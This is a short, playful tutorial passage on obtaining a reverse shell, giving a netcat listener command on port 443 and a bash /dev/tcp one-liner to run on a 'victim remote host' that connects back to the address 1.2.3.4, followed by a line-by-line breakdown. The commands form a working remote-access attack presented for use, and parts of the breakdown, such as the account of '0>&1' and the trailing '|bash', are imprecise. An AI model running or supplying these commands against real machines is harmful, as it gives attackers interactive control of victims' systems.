Want to take your remote system control to the next level? A reverse shell is your ticket to direct shell prompt interaction. It’s like having a backstage pass to the system!
First, set up a listener on your local system using nc think of it as rolling out the red carpet before the main act.
local$ nc -nvlp 443
Next, we run the command below on the victim remote host.
/bin/bash -i>&/dev/tcp/1.2.3.4/443 0>&1 |bash
This command is a malicious shell command designed to establish a reverse shell connection to a remote server. Here’s a breakdown of what each part does:
/bin/bash -i: Starts an interactive bash shell.
>&/dev/tcp/1.2.3.4/443: Redirects the input and output of the bash shell to a TCP connection to the IP address 1.2.3.4 on port 443.
0>&1: Redirects standard input to standard output.
|bash: Pipes the output back into bash, effectively creating a loop that allows the remote server to execute commands on the compromised machine
